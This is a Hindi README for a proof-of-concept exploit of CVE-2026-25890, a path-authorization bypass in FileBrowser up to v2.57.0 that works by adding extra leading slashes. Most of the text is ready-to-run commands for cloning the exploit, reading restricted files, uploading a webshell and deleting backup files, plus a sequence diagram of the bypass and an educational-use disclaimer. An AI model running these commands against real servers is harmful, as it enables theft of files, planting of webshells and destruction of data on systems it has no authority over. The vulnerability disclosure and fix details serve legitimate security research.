
CVE-2026-25890 के लिए एक्सप्लॉइट, FileBrowser <= v2.57.0 में पाथ-आधारित प्राधिकरण बायपास, जो प्रमाणित निम्न-विशेषाधिकार वाले उपयोगकर्ताओं को कई अग्रणी स्लैश के माध्यम से प्रतिबंधित फ़ाइलों को पढ़ने, अपलोड करने और हटाने की अनुमति देता है।
अप्रमाणित उपयोगकर्ता इसका शोषण नहीं कर सकते — इसके लिए मान्य निम्न-विशेषाधिकार वाली साख (credentials) की आवश्यकता होती है जो लक्ष्य पथ से प्रतिबंधित हैं।
FileBrowser ≤ v2.57.0 में पथ-आधारित प्राधिकरण बायपास, कई अग्रणी स्लैश (/private के बजाय //private) का उपयोग करके strings.HasPrefix() जाँचों से बचता है जबकि फाइलसिस्टम अभी भी विहित (canonical) पथ परोसता है।
v2.57.1 में ठीक किया गया (कमिट 489af403... – r.SkipClean(true) हटाया गया)।
# रिपॉजिटरी क्लोन करें
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass
# मानक लाइब्रेरी + requests के अलावा कोई निर्भरता नहीं
pip install requests
python3 exploit.py --help
# प्रतिबंधित फ़ाइल पढ़ें
python3 exploit.py \
--url http://192.168.1.50:8080 \
--username bob \
--password password123 \
--path /private/secret.txt \
--action read \
--save leaked_secret.txt \
--verbose
# प्रतिबंधित फ़ोल्डर में दुर्भावनापूर्ण फ़ाइल अपलोड करें
python3 exploit.py \
--url http://target:8080 \
--username lowpriv \
--password pass \
--path /data/ \
--action upload \
--upload-file webshell.php \
--slashes 3
# प्रतिबंधित फ़ाइल हटाएँ
python3 exploit.py \
--url http://10.10.10.123:80 \
--username alice \
--password secret \
--path /backups/database.bak \
--action delete \
--slashes 4
sequenceDiagram
participant Attacker
participant FileBrowser ≤ v2.57.0
participant Gorilla Mux Router
participant Auth Middleware
participant Filesystem Handler
Attacker->>FileBrowser: GET /api/resources/private/secret.txt<br>(सामान्य अनुरोध)
FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
Gorilla Mux->>Auth Middleware: path = "/private/secret.txt"
Auth Middleware->>Auth Middleware: strings.HasPrefix("/private/secret.txt", disallowed="/private") → true
Auth Middleware->>Attacker: 403 Forbidden
Note over Attacker,FileBrowser: हमलावर बायपास का प्रयास करता है
Attacker->>FileBrowser: GET /api/resources//private/secret.txt
FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → कोई सामान्यीकरण नहीं)
Gorilla Mux->>Auth Middleware: path = "//private/secret.txt"
Auth Middleware->>Auth Middleware: HasPrefix("//private/secret.txt", "/private") → false
Auth Middleware->>Filesystem Handler: अनुमति दी गई → आगे बढ़ें
Filesystem Handler->>Filesystem: // को /private/secret.txt में सामान्यीकृत करता है
Filesystem->>Filesystem Handler: फ़ाइल सामग्री लौटाता है
Filesystem Handler->>Attacker: 200 OK + गुप्त सामग्री
यह प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
इस कोड का उपयोग किसी भी सिस्टम के विरुद्ध स्वामी से स्पष्ट लिखित अनुमति के बिना न करें।
सिस्टम तक अनधिकृत पहुँच या संशोधन अधिकांश न्यायक्षेत्रों में अवैध है (जैसे CFAA, Computer Misuse Act)।
शोषण लेखक: मोहम्मद इदरीस बन्यामेर
देश: जॉर्डन
Instagram: @banyamer_security
यदि यह उपयोगी लगे तो रिपॉजिटरी को स्टार ⭐ करें!
अंतिम अद्यतन: फरवरी 2026